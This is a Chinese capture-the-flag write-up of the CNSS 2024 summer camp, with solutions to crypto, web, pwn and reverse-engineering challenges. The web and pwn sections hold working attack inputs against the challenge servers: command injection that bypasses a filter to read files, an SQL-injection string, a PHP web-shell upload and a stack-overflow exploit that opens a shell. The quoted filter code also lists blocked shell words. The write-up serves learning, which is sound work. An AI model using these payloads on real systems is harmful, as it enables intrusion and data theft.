Let’s Capture The Flag!
CNSS在2024年8月的CTF夏令营⛱️题目,自己的wp。
🔢Crypto 🔮cnss娘的谜语 cnss娘信手写下几串意义不明的谜语,你可以猜出其中的含义吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import base64from Crypto.Util.number import *from secret import flag assert type (flag) == str flag = flag.encode() length = len (flag) assert length % 4 == 0 L = length // 4 secret1 = bytes_to_long(flag[:L]) secret2 = flag[L:2 *L].hex () secret3 = bin (int (flag[2 *L:3 *L].hex (), 16 )) secret4 = base64.b64encode(flag[3 :L]) print (f"{secret1 = } " )print (f"{secret2 = } " )print (f"{secret3 = } " )print (f"{secret4 = } " )""" secret1 = 30772543014919602267414633191 secret2 = 'bc96e7a081e698afe5ada620' secret3 = '0b10000110111001001111001011100000111010001101111001000001110011110011010100001001110011110101100' secret4 = b'rOS4gOatpeOAgiF9' """
常见编码,把十进制、十六进制、二进制和 base64 分别转化为字节,拼起来后 utf-8 转成 string 就能还原出flag 。
cnss{学会编码是学 Crypto 的第一步。!}
🐬水龙吟 楚天千里清秋,水随天去秋无际。遥岑远目,献愁供恨,玉簪螺髻。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Crypto.Util.number import *from secret import flagm = bytes_to_long(flag) p = 4873905926740615531018463661385452170898784133203367799135441645830937750628221985822405430005703937197770247575076559744236744538228018031486049820173674 g = 2593552830271406523114019117101950399687742243315195843514987700785182656087120211241524521448500935829478648514527037446437576680778419567396094750508622 c = 0 for i in range (m): c = (c + g) % p print (f'{c = } ' )""" c = 3431276814099066030808269572939347769420622699894452016972504433264414095698239241816562301198442206498226641308404105790355301176892588988847042699636406 """
解一个线性同余方程 : $$ c \equiv mg\pmod{p} $$
首先用 Euclid 算法递归 计算 $g$ 和 $p$ 的最大公约数 $gcd(g, p)$:
1 2 3 4 5 def gcd (a, b ): if b == 0 : return a return gcd(a, a % b)
方程两边同时除以 $gcd$,只需找到 $g’$ 的逆元即可。 $$ m\equiv c’g’\pmod{p’} $$
用 Extend Euclid alg 求解:向下递,向上归。
1 2 3 4 5 def exgcd (a, b ): if b == 0 : return a, 1 , 0 d, x, y = exgcd(b, a % b) return d, y, x - (a // b) * y
解出 $m$ 就能还原出 flag 。
cnss{Subgroup @nd Eucl1d algOrithm 1s eleg4nt.}
🌔卜算子 惊起却回头,有恨无人省。拣尽寒枝不肯栖,寂寞沙洲冷。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Crypto.Util.number import flagfrom secret import flagp, q, r = getPrime(512 ), getPrime(512 ), getPrime(512 ) n = p * q * r e = 65537 m = bytes_to_long(flag) c = pow (m, e, n) print ('p =' , p)print ('q =' , q)print ('n =' , n)print ('c =' , c)""" p = 12253096079262730693787845304459770181159272160708761390419517461435886798119494973936186382645490774511179747402693066192362104144553287739427091488849987 q = 9656184899794050073098614505490788837141112476549205418072011388278372195682566976277132351856116300104728124405389485440262266612903835574949734938773879 n = 1068394811940475700113916170772008310607904879176073274337669322446687936907143981238893756179197975634434673229920275765973807209412891205884402965483756254507691419368528133959132303476165747992107800736918701005971552264644185146124560027884795936191839406241406301141310602020436434278421529178345240902508007101551941438277539664839258109542374751444222500079818129540895166090788487787028178055561786822480872065405947357363186718845196587434430898650662917 c = 364812620179131273680130240148084836403846027393384913159162092631491386521136431985815726041640268869899250546875572473450702105133851945618590296616284218872409897353796638895758963083075264218372930102765065661636950920355098372841435042642748593167374414989630427181232399218196685772309403529745406119979371226428026631723070867224675860939203796555567951762311063010081727524747799375832842589314306700599116049075415601108806973017635507910763925927172362 """
若 $n$,$a$ 为正整数且 $gcd(a, n)=1$,则$a^{\phi(n)}\equiv1\pmod{n}$。
由于 $c\equiv m^e\pmod{n}$,设 $d$ 为 $e$ 模 $\phi(n)$ 的逆元,即 $$ ed\equiv 1\pmod{\phi(n)} $$ 则有 $$ c^d\equiv m^{ed}\equiv m^{1+k\phi(p)}\equiv m\pmod{n} $$ 因此,利用三素数 RSA 即可解出 flag 。
cnss{1t is similar to two-prime RSA....}
🐠Fun_factoring Have fun in the factoring!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import randomfrom Crypto.Util.number import *from gmpy2 import next_primefrom secret import flag1, flag2def init (): primes = [] p = 1 while len (primes) < 100 : p = next_prime(p) primes.append(int (p)) return primes primes = init() p1 = getPrime(256 ) while True : q1 = 1 while q1.bit_length() < 255 : q1 *= random.choice(primes) q1 = q1 + 1 if isPrime(q1): break n1 = p1 * q1 e = 65537 m1 = bytes_to_long(flag1) c1 = pow (m1, e, n1) print (f'{n1 = } ' )print (f'{c1 = } ' )m2 = bytes_to_long(flag2) p2 = getPrime(256 ) q2 = getPrime(256 ) n2 = p2 * q2 c2 = pow (m2, e, n2) phi = (p2 - 1 ) * (q2 - 1 ) e2 = getPrime(256 ) d2 = inverse(e2, phi) hint1 = getPrime(256 ) * n2 hint2 = e2 * d2 print (f'{c2 = } ' )print (f'{hint1 = } ' )print (f'{hint2 = } ' )""" n1 = 29993156790273796411588637755401407649619741972315831791586727944419911570896819043688187483218756247767784823799572993962152654560761989054087817767687901 c1 = 28308885699728621592812918494757273712938007912315485487807230648420711341284570451708049371754826651903406663574768899937862287581243099737368091309807825 c2 = 3677242432073556679040222440039877927024312077564452145956625214187804614184186227277646425370459616386984491952553180136037741092781602470053045143802537 hint1 = 397340046977096077577115578026599912881304442662450049334426974861677656259439266980515145452369301652618056238525786266286451780972189318240092026572582216328286841448920434798083168400087303822060653407466964485682775061825982767 hint2 = 42319976894927564843833810567252442522907372281560684051129782019144211533194692653447095916384084531450449319697685128778953472384491084162072476640254892049041007337641419872550411941455264025858397584349456909103991157799852081 """
首先init()
函数生成了前100个素数,$q_1-1$ 光滑 ,考虑使用 Pollard’s p - 1 algorithm 。
根据 Fermat’s little theorem:若 $p$ 是 $N$ 的素因子,且 $a$ 与 $p$ 互素,则 $$ a^{p-1}\equiv 1\pmod{p} $$
$$ a^{t(p-1)}-1^t=kp $$
若 $p$ 是一个 B-smooth number,则存在 $$M = \prod_{q\leq B} q^{\lfloor \log_q B \rfloor}$$ 使得 $(p-1)|M.$
计算 $gcd(a^M-1,N)$。如果结果不为 $1$ 或 $N$,那么就成功分解了 $N$。
不是很懂这个结构…
其实 不难发现 $ B!\ |\ p-1$。所以只需找到一个合适大小的数 $B$,就可以在多项式时间内出结果,拿到 flag1 。
1 2 3 4 5 6 7 8 9 10 a = 2 B = 2 while True : a = pow (a, B, N) res = gcd(a - 1 , N) if res != 1 and res != N: q = N // res break B += 1
cnss{1f_y0u_Kn0w_Pollard_y0u_Kn0w_1t_4ll}
注意到 hint2 实际上是 $e$ 和 $d$ 的乘积,计算 $k=ed-1$ 为 $p-1$ 的倍数。选随机数 $g\in(1,N)$。
RSA: how to factorize N given d
$k$ 为偶数,故 $k=2^t\cdot r$,其中 $r$ 为奇数且 $t\geq 1$,然后计算 $x=g^{\frac{k}{2}},g^{\frac{k}{4}},…,g^{\frac{k}{2^t}}\pmod{N}$ 直到 $x>1$ 且 $y=gcd(x-1,N)>1$。如果 $y$ 存在,则 $p=y$;若不存在,则重新生成 $g$.
1 2 3 4 5 6 7 8 9 10 11 12 13 k = e * d - 1 while True : g = random.randint(2 , n-1 ) t = k while True : if t % 2 != 0 : break t //= 2 x = pow (g, t, n) if x > 1 and gcd(x - 1 , n) > 1 : p = gcd(x - 1 , n) return (p, n // p)
先通过 hint1 把 n2 分解出来,再分解出 p2 和 q2 拿到 flag2 。
cnss{Factoring_the_modulus_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
这两种方法的核心就是费马小定理 。
🕸️Web 做密码题的时候遇到很多和web交互的情况,遂前来学习。不会Web,打着玩的。
🦴babyHTTP psych 上课开小差,下课之后同桌说今天学的 HTTP 请求,然而 psych 并不知道这个知识点,请你帮他完成作业,获得 flag 。
HTTP 请求有什么内容呢?
一张图说明访问网站的流程
硬核!30 张图解 HTTP 常见的面试题
cURL是一种通过命令行或脚本进行数据传输的工具,支持多种协议,可以用来发送http请求,获取服务器响应。(还有其他功能)
-i(--include)
选项在输出中包含服务器返回的HTTP响应头信息。-v(--verbose)
选项显示请求的详细信息和调试信息。
1 2 3 4 5 6 $ curl "http://152.136.11.155:10101/" Please GET me a CNSS with a value of 'hackers' . $ curl "http://152.136.11.155:10101/?CNSS=hackers" And I need you POST a web with a value of 'fun' . $ curl "http://152.136.11.155:10101/?CNSS=hackers" -X POST -d "web=fun" Do you know cookie?You are not admin!
关于cookie我们-i看一下,找到Set-Cookie: admin=false
,改成true就行了。
1 2 $ curl "http://152.136.11.155:10101/?CNSS=hackers" -X POST -d "web=fun" -b "admin=true" CNSS{w2b_!s_Reai1y_7un!!!}
御林的题还考了Referer,提示我们You must come from “YulinSec://127.0.0.1”
1 $ curl curl "http://101.35.209.40:44505/?key1=YulinSec" -X POST -d "key2=YulinSec" -H "Referer:YulinSec://127.0.0.1"
关于302跳转重定向的题,看源码提示我们flag位于/302.php
下,直接curl即可查到flag。HTTP OPTIONS Method
🙋🏼♀️PHPinfo CNSS娘!phpinfo文件是什么呀!
如何创建phpinfo文件并查看PHP信息 – WordPress大学 (wpdaxue.com)
直接在URL后添加/phpinfo.php
查找即可。
1 cnss{l3t_u5_l3arn_php!nfo!}
🥇我得再快点 考验手速的时候到了
scRsCrIptiPt
看了网页的源代码,使用javascript实现一个自动刷新的页面,GET传参到/check
就行了。
1 2 3 4 5 <p > Key : 6Dd3LzGVhvEn8wv<span id ="variable" > </span > </p > <form action ="/check" method ="GET" > <input type ="text" id ="value" name ="value" required > <button type ="Flag" > Flag</button > </form >
机器的确是比人快呀!写一个python脚本,Requests库与网站进行交互。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsimport hashliburl = 'http://152.136.11.155:10103' submit_url = 'http://152.136.11.155:10103/check' def get_md5_hash (): try : content = requests.get(url).text key = content.split('Key : ' )[1 ].split('<span id="variable">' )[0 ].strip() return hashlib.md5(key.encode()).hexdigest() except requests.RequestException as e: print (f"Error: {e} " ) return None def submit_md5 (md5_hash ): try : return requests.get(submit_url, params={'value' : md5_hash}).text except requests.RequestException as e: print (f"Error: {e} " ) return None if __name__ == "__main__" : md5_hash = get_md5_hash() if md5_hash: result = submit_md5(md5_hash) if result: print (result) """ cnss{3njoy_py5crIpt_n0w!!} """
🏓Ping psych:#ping CNSS娘:pong!
连上之后只有一段PHP代码:
1 2 3 4 5 if (isset ($_POST ['ip' ])) { $ip = $_POST ['ip' ]; $ping_result = ping ($ip ); echo nl2br ($ping_result ); }
很明显这是让我们用POST方法传一下ip地址,然后服务器执行ping函数。试一下:
1 2 3 4 5 6 7 8 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1" PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.<br /> 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.046 ms<br /> 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.039 ms<br /> <br /> --- 127.0.0.1 ping statistics ---<br /> 2 packets transmitted, 2 received, 0% packet loss, time 31ms<br /> rtt min/avg/max/mdev = 0.039/0.042/0.046/0.007 ms
发现有回显,但过于正常。通过搜索ctf web ping得知,可以使用命令连接符尝试列目录。于是
1 2 3 4 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1;ls" Error: Invalid input. $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1;" Error: Invalid input.
不幸又幸运的是,我们知道分号;
被滤掉了。开搜!
1 2 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1%0als" index.php
出现了,emmm,不是想要的。别急,看看怎么个事儿:哎,空格也被过滤了。
1 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1%0acat%09index.php"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function validate_input ($input ) {$invalid_chars = array ("sh" ,"bash" ,"chown" ," " , "chmod" , "echo" , "+" , "&" ,";" , "|" , ">" , "<" , "`" , "\\" , "\"" , "'" , "(" , ")" , "{" , "}" , "[" , "]" );foreach ($invalid_chars as $invalid_char ) {if (strpos ($input , $invalid_char ) !== false ) {return false ;} } if (preg_match ("/.*f.*l.*a.*g.*/" , $input )) {return false ;} return true ;} function ping ($ip_address ) {if (!validate_input ($ip_address )) {return "Error: Invalid input." ;} $cmd = "ping -c 2 " .$ip_address ;exec ($cmd , $output , $return_code );if ($return_code !== 0 ) {echo ("Error: Failed to execute command." );} return implode ("\n" , $output );} if (isset ($_POST ['ip' ])) {$ip = $_POST ['ip' ];$ping_result = ping ($ip );echo nl2br ($ping_result ); } ?>
总算看到过滤层了。去其TA目录看看吧。
哈?哈!Here it is!来来让我们cat一下:
1 2 curl "http://152.136.11.155:10104/" -X POST -d "ip=1.1.1.1%0acat%09../../../f*" CNSS{p0ng_pong_p0ng!!!}
在这之前我一直尝试网上搜到的各种绕过flag限制的方法,直到 fan✌️一句话点醒了我
学到了,谢谢宝宝(啾咪)>
🐶CNSS娘の宠物商店 CNSS娘开始创业啦!CNSS娘の宠物商店正式开业!
CNSS娘的账号是 admin
, 登陆查看CNSS娘藏在后台的秘密……
sql注入' or 1='1
。
1 CNSS{h0w_d0_y0u_637_7h3_p455w0rd1?}
🎮2048 2048真好玩,玩到1000000分就能拿到flag!
不是,你真玩啊?
禁了F12和右键,Ctrl+Shift+I打开控制台,查看Flag按钮的HTML标签,注意到
1 <input type ="button" onclick ="getflag()" value ="Flag" >
在Sources的main2048.js中查到getflag()函数(以及下面各种屏蔽),发现是一堆乱码。想法是找到判断点1000000分但是没查到,复制下来转去查score,发现
这个0xf4240刚好是1000000,给它改成0再按一下Flag按钮即可拿到flag。
1 cnss{3asy_fr0nt_kn0w1edge!!!}
👤换个头像先 CNSS娘这么可爱,你确定要把她换掉吗?
真的只能上传图片吗?
账号密码都是admin登陆,上传一句话木马。改一下后缀绕过检查,先把php改成png,上蚁剑连接getshell。
💥Pwn Pwn真是太有趣辣!从零开始的PWN之路!
😯nc? nc! nc 152.136.11.155 10020
system(‘/bin/sh’),直接netcat一键getshell,Linux连接,cat flag
1 2 3 4 5 $ nc 152.136.11.155 10020 Welcome to CNSS Recruit 2024! Start your journey to become a pwn master! cat flagcnss{Welcome_to_pwn_world!}
🤖Bot 偷偷告诉你,CNSS娘bot里其实藏了一个人。
前任中之人Shino,随着年纪渐长,已经无法满足群友日益增长的水群需求。CNSS娘迫切需要新的接班人!
为了不被群友识破,你需要按照操作规范水群:完成100次交互即可通过考核。
nc 152.136.11.155 10021
有个很好用的库叫pwntools!
一道Pwntool交互题。程序的逻辑就是循环100次后跳出循环,执行system函数。在循环内部会执行broadcast或bot_ping这两个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *import rehost = '152.136.11.155' port = 10021 p = remote(host, port) for i in range (100 ): data = p.recvline().decode() if '[SYSTEM]' in data: match = re.search(r'\[SYSTEM\]\[(.*?)\]\((\d+)pt\)--\[(.*?)\]\((\d+)pt\)' , data) if match : player_id = match .group(1 ) player_score = int (match .group(2 )) item_name = match .group(3 ) item_score = int (match .group(4 )) expected_response = f"Congratulations to {player_id} for passing [{item_name} ], current score is {player_score + item_score} points!" p.sendline(expected_response.encode()) elif '[USER]' in data: if '#ping' in data: p.sendline('pong!' .encode()) elif 'Too Slow' in data: print ("Timeout or unexpected issue occurred." ) break else : print (f"Unhandled data: {data} " ) p.sendline(b'cat flag' ) p.interactive() """ cnss{GnAlPu8Q-KL65ZOTK-hahahaha-U9BvTeeI} """
💓Overflow Me 小数组要被塞满了!
nc 152.136.11.155 10022
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[16 ]; // [rsp+0h] [rbp-20h] BYREF __int64 v5; // [rsp+10h] [rbp-10h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); my_init(argc, argv, envp); puts("Over flow me pls:" ); read(0 , buf, 0x20uLL); if ( v5 != 114514 ) { puts("wrong,try again" ); exit(0 ); } system("/bin/sh" ); return 0 ; }
最基础的栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *host = '152.136.11.155' port = 10022 p = remote(host, port) padding = 16 payload = b'p' * padding + p64(114514 ) p.sendlineafter('Over flow me pls:' , payload) p.sendline(b'cat flag' ) p.interactive() """ cnss{Kz20UZyn-TNTfrc4Z-jiejiejie-sDwO2bC0} """
🔍Reverse 这个夏天,我第一次接近了那个女人。
😍那个女人 上课的时候Shino老师讲了一个工具可以用来逆向软件,但是Timlzh忘掉软件叫什么了,只记得头像是那个女人……
成功安装IDA Pro,打开即得flag
1 CNSS{Sh3_1s_IDA!W3lc0m3_t0_Rev3rse_W0rld!}
😭我的flag碎了一地 我的flag碎掉了,你能帮我找回来吗?
用IDA打开找flag、学会在IDA中使用F5。
打开IDA发现三个hint,Shift+F12
能打开Strings,找到第一部分;左侧Functions栏上方找到第二部分;根据提示,X
查看交叉引用,找到funs718,F5
看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int func718 () { puts ("718" ); br0ken_4parT_ (); putchar (66 ); putchar (117 ); putchar (55 ); putchar (95 ); putchar (89 ); putchar (48 ); putchar (117 ); putchar (95 ); putchar (99 ); putchar (64 ); putchar (110 ); return putchar (95 ); }
这里putchar给的不完整,退回去能看到完整的最后一部分,拿到flag
1 CNSS{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}
✈️打飞机高手 你会打飞机吗?高分有奖哦!✈️
Patch Program
找程序漏洞,修改逻辑以出现flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 int __fastcall main (int argc, const char **argv, const char **envp) { _main(argc, argv, envp); Startup (); while ( IsOver ) { UpdateInput (); UpdateNormal (); Show (); } printf ("\t\tYou Are so WEAK!\n" ); Sleep (0x9C4u ); system ("pause" ); return 0 ; } int Show () { int result; int j; int i; HideCursor (); gotoxy (1LL , 1LL ); for ( i = 0 ; i <= 26 ; ++i ) { for ( j = 0 ; j <= 61 ; ++j ) { switch ( canvas[62 * i + j] ) { case 1 : printf ("*" ); break ; case 2 : printf (asc_14001301C); break ; case 3 : printf (&asc_14001301C[2 ]); break ; case 0xFFFFFFFF : printf (&asc_14001301C[4 ]); break ; default : if ( canvas[62 * i + j] ) { if ( canvas[62 * i + j] == 4 ) printf (&asc_14001301C[8 ]); } else { printf (&asc_14001301C[6 ]); } break ; } } printf (&asc_14001301C[10 ]); } printf ("\nScore: %d" , score); result = score; if ( score > 1145141918 ) { printf ("\t\tWell Done! You got the flag!\n\t\t" ); get_flag (); Sleep (0x9C4u ); return system ("pause" ); } return result; }
在函数开头直接放上可疑函数即可,Edit-Patch Program-Assemble,右键、退出、鼠标点击空白处就可以看到变化后的代码,最后记得Apply Patches to…
运行修改好的exe程序,拿到flag
1 cnss{w0w_y0u_4r3_7he_m4st3r_0f_h1tt1ng_p1an3s!}
♾️亦真亦或亦假 尊嘟假嘟? O.o
纯加密题,根据题目不难猜是异或相关的。IDA打开以后Ctrl+F
查一下main
函数,看一下代码逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __fastcall main (int argc, const char **argv, const char **envp) { _QWORD v4[12 ]; int v5; _QWORD v6[12 ]; int v7; int i; _main(argc, argv, envp); v6[0 ] = 0x731047656E6F7579LL ; v6[1 ] = 0x761B45794B10407DLL ; v6[2 ] = 0x6E005B71491F585FLL ; v6[3 ] = 0x45045205575D01LL ; memset (&v6[4 ], 0 , 64 ); v7 = 0 ; memset (v4, 0 , sizeof (v4)); v5 = 0 ; printf ("Input your flag: " ); scanf ("%s" , v4); eNc0d3 (v4); for ( i = 0 ; i <= 30 ; ++i ) { if ( *((_BYTE *)v4 + i) != *((_BYTE *)v6 + i) ) { printf ("Wrong!\n" ); return 0 ; } } printf ("Correct!\n" ); return 0 ; } __int64 __fastcall eNc0d3 (__int64 a1) { __int64 result; int i; int v3; v3 = 26 ; for ( i = 0 ; ; ++i ) { result = *(unsigned __int8 *)(a1 + i); if ( !(_BYTE)result ) break ; *(_BYTE *)(i + a1) = v3++ ^ *(_BYTE *)(a1 + i); } return result; }
加密是一个循环,读取flag地址加上i
偏移位置的一个字节。将v3和读取到的字节进行异或,结果写回到同一位置。
主函数循环是在比较加密后v4和v6的前30个字节是否相同,也就是给我们密文v6,还原明文即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main () { char c[32 ]; *(long long *)&c[0 ] = 0x731047656E6F7579 LL; *(long long *)&c[8 ] = 0x761B45794B10407D LL; *(long long *)&c[16 ] = 0x6E005B71491F585F LL; *(long long *)&c[24 ] = 0x45045205575D01 LL; int v3 = 26 ; for (int i = 0 ; i < 31 ; i++) { c[i] ^= v3++; } printf ("%s" , c); return 0 ; }
🍵茶杯头大冒险 爱养生的Timlzh带着他的茶杯头来向你求助,你能帮他找到他心爱的茶壶吗😔
纯加密题,搜了一下应该是属于TEA加密,闻所未闻,看一下代码逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 int __fastcall main (int argc, const char **argv, const char **envp) { _DWORD Str[8 ]; _DWORD v5[8 ]; unsigned int v6[6 ]; int j; int i; _main(argc, argv, envp); v6[0 ] = 429459223 ; v6[1 ] = 537200643 ; v6[2 ] = 537462290 ; v6[3 ] = 537006083 ; v5[0 ] = -999025570 ; v5[1 ] = 970203505 ; v5[2 ] = -181949973 ; v5[3 ] = -483739382 ; v5[4 ] = 1062983671 ; v5[5 ] = -697079924 ; printf ("input the flag: \n" ); scanf ("%s" , Str); if ( strlen ((const char *)Str) == 24 ) { for ( i = 0 ; i <= 4 ; ++i ) encrypt (&Str[i], v6); for ( j = 0 ; j <= 5 ; ++j ) { if ( Str[j] != v5[j] ) { printf ("it's not my teapot!" ); return 0 ; } } printf ("Oh my god, you made it?!" ); system ("pause" ); return 0 ; } else { printf ("the length is NSFW~~~" ); return 0 ; } } __int64 __fastcall encrypt (unsigned int *a1, unsigned int *a2) { __int64 result; unsigned int i; unsigned int v4; unsigned int v5; unsigned int v6; v6 = *a1; v5 = a1[1 ]; v4 = 0 ; for ( i = 0 ; i <= 0x1F ; ++i ) { v6 += (((v5 >> 5 ) ^ (16 * v5)) + v5) ^ (a2[v4 & 3 ] + v4); v4 += 289739793 ; v5 += (((v6 >> 5 ) ^ (16 * v6)) + v6) ^ (a2[(v4 >> 11 ) & 3 ] + v4); } *a1 = v6; result = v5; a1[1 ] = v5; return result; }
加密过程a1是明文,a2是密钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <stdint.h> void decrypt (uint32_t * v, const uint32_t * key) { uint32_t v0 = v[0 ], v1 = v[1 ]; const uint32_t delta = 0x11451411 ; uint32_t sum = delta * 32 ; for (int i = 0 ; i < 32 ; i++) { v1 -= (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (sum + key[(sum >> 11 ) & 3 ]); sum -= delta; v0 -= (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (sum + key[sum & 3 ]); } v[0 ] = v0; v[1 ] = v1; } int main () { uint32_t key[4 ] = {429459223 , 537200643 , 537462290 , 537006083 }; uint32_t enc[6 ] = {0xC474145E , 0x39D42171 , 0xF527A9EB , 0xE32AB90A , 0x3F5BD7F7 , 0xD673678C }; for (int i = 4 ; i >= 0 ; i--) { decrypt (&enc[i], key); } for (int i = 0 ; i < 6 ; i++) { printf ("%c%c%c%c" , enc[i] & 0xFF , (enc[i] >> 8 ) & 0xFF , (enc[i] >> 16 ) & 0xFF , (enc[i] >> 24 ) & 0xFF ); } putchar ('\n' ); return 0 ; }
💥爆了爆了,和 JAVA 爆了 啊?逆向还要学 Java?
非常简单且入门的安卓逆向 你需要了解apk文件结构 JEB或JADX的使用 以及简单的java语法
JADX打开,翻找一通,找到com.cnss.myapplication,就是这道题的关键了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 class Test : def __init__ (self ): self .str = ['A' , 'B' , 'C' , 'D' , 'E' , 'F' , 'G' , 'H' , 'I' , 'J' , 'K' , 'L' , 'M' , 'N' , 'O' , 'P' , 'Q' , 'R' , 'S' , 'T' , 'U' , 'V' , 'W' , 'X' , 'Y' , 'Z' , 'a' , 'b' , 'c' , 'd' , 'e' , 'f' , 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' , 'w' , 'x' , 'y' , 'z' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , '+' , '/' ] def main (self ): a = [ "SJNPhthkmYBHow5Y75wRDa==" , "RoBAU/g/jlxuy+Ns1YtA86==" , "YZNTjQcHgoBaqf5hyYtM0K==" , "Z1Z/gv18ro1pkgF2rX5x+6==" , ... "bXF7hfV5smIOu/1q159Q16==" , "c441i+Z6r55Lmf9H4V=XD===" , "aY1MmRldcYRrtdlh50RJC===" , "Y5dYaAcAjoBtug1NwYFUBa==" , "TIk6kw9/pnZ41eRs1IZr4a==" , "cIU9ZQpjiINPy/kOw31OEa==" ] for i in range (100 ): s = self .decode(a[i]) print (a[i]) print (s) def decode (self, code ): length = len (code) if length == 0 or length % 4 != 0 : return None end_equal_num = 0 if code.endswith("==" ): end_equal_num = 2 elif code.endswith("=" ): end_equal_num = 1 code = code.replace('=' , '0' ) result = [] block_num = length // 4 for i in range (block_num): after_decode = self .decode_detail(code[i * 4 :(i * 4 ) + 4 ]) if after_decode: result.append(after_decode) result_str = '' .join(result) return result_str[:len (result_str) - end_equal_num] def decode_detail (self, s ): if len (s) != 4 : return None a1 = self .get_index(s[0 ]) self .qwq() a2 = self .get_index(s[1 ]) self .qwq() a3 = self .get_index(s[2 ]) self .qwq() a4 = self .get_index(s[3 ]) self .qwq() b = [ chr ((a1 << 2 ) | ((a2 & 48 ) >> 4 )), chr (((a2 & 15 ) << 4 ) | ((a3 & 60 ) >> 2 )), chr (((a3 & 3 ) << 6 ) | a4) ] return '' .join(b) def get_index (self, c ): try : return self .str .index(c) except ValueError: return -1 def qwq (self ): tmp = [None ] * 64 for i in range (len (self .str )): tmp[i] = self .str [(i + 2 ) % 64 ] self .str = tmp.copy() if __name__ == "__main__" : test = Test() test.main()
根据提示,key is a meaningful sentence,写个python脚本解一下base64,得到密钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from base64 import b64decodefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpaddef decode (code ): if len (code) == 0 or len (code) % 4 != 0 : return None end_equal_num = 0 if code.endswith("==" ): end_equal_num = 2 elif code.endswith("=" ): end_equal_num = 1 code = code.replace('=' , '0' ) decoded_str = '' for i in range (0 , len (code), 4 ): decoded_str += decode_detail(code[i:i+4 ]) result = decoded_str[:-end_equal_num] return result def decode_detail (encoded_str ): str_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" a1 = str_chars.index(encoded_str[0 ]) a2 = str_chars.index(encoded_str[1 ]) a3 = str_chars.index(encoded_str[2 ]) a4 = str_chars.index(encoded_str[3 ]) b = chr (((a1 << 2 ) | ((a2 & 48 ) >> 4 ))) + \ chr (((a2 & 15 ) << 4 ) | ((a3 & 60 ) >> 2 )) + \ chr (((a3 & 3 ) << 6 ) | a4) return b def qvq (key_str ): cipher_text = b64decode("11VaDwVeOwKvL6eqb2hsA2rb0wTbTRwsb7WirGpBW8s=" ) key = key_str.encode('utf-8' ) cipher = AES.new(key, AES.MODE_ECB) decrypted_data = unpad(cipher.decrypt(cipher_text), AES.block_size) return decrypted_data.decode('utf-8' ) key = "I am CNSS AESkey" decrypted_message = qvq(key) print (decrypted_message)""" cnss{We1c0Me t0 Andorid Rev!} """
🧩Misc 没怎么做,也做不出来,笑死。做出来一道音频隐写还有一道Word文档查时间的题。
很有趣的一次经历,嘻嘻>.<